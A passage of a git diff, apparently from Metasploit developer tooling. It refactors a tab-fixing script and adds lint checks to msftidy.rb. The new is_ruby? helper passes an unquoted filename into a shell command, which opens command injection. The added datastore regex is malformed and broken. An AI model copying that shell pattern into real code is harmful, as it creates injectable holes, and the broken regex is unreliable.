run_for_session("post/test/file", id) +end + + +<%= old_mod ? "use #{old_mod.refname}" : "back" %> + diff --git a/tools/dev/retab.rb b/tools/dev/retab.rb index 20418f51e4..8205ac2495 100755 --- a/tools/dev/retab.rb +++ b/tools/dev/retab.rb @@ -21,36 +21,49 @@ puts "Keeping .notab backups" if keep_backups raise ArgumentError, "Need a filename or directory" unless (dir and File.readable? dir) +def is_ruby?(fname) + return true if fname =~ /\.rb$/ + file_util = "" + begin + file_util = %x{which file}.to_s.chomp + rescue Errno::ENOENT + end + if File.executable? file_util + file_fingerprint = %x{#{file_util} #{fname}} + !!(file_fingerprint =~ /Ruby script/) + end +end + Find.find(dir) do |infile| next unless File.file? infile - next unless infile =~ /rb$/ -outfile = infile + next unless is_ruby? infile + outfile = infile -if keep_backups - backup = "#{infile}.notab" - FileUtils.cp infile, backup -end - -data = File.open(infile, "rb") {|f| f.read f.stat.size} -fixed = [] -data.each_line do |line| - fixed << line - next unless line =~ /^\x09/ - index = [] - i = 0 - line.each_char do |char| - break unless char =~ /[\x20\x09]/ - index << i if char == "\x09" - i += 1 + if keep_backups + backup = "#{infile}.notab" + FileUtils.cp infile, backup end - index.reverse.each do |idx| - line[idx] = " " - end - fixed[-1] = line -end -fh = File.open(outfile, "wb") -fh.write fixed.join -fh.close -puts "Retabbed #{fh.path}" + data = File.open(infile, "rb") {|f| f.read f.stat.size} + fixed = [] + data.each_line do |line| + fixed << line + next unless line =~ /^\x09/ + index = [] + i = 0 + line.each_char do |char| + break unless char =~ /[\x20\x09]/ + index << i if char == "\x09" + i += 1 + end + index.reverse.each do |idx| + line[idx] = " " + end + fixed[-1] = line + end + + fh = File.open(outfile, "wb") + fh.write fixed.join + fh.close + puts "Retabbed #{fh.path}" end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 2057bdc169..406c30b463 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -121,6 +121,14 @@ class Msftidy end end + def check_snake_case_filename + sep = File::SEPARATOR + good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" + unless @name =~ good_name + warn "Filenames should be alphanum and snake case." + end + end + def check_old_keywords max_count = 10 counter = 0 @@ -381,6 +389,11 @@ class Msftidy no_stdio = false error("Writes to stdout", idx) end + + # do not change datastore in code + if ln =~ /(?])/ + error("datastore is modified in code: #{ln.inspect}", idx) + end } end @@ -408,6 +421,7 @@ def run_checks(f_rel) tidy.check_bad_terms tidy.check_function_basics tidy.check_lines + tidy.check_snake_case_filename end ##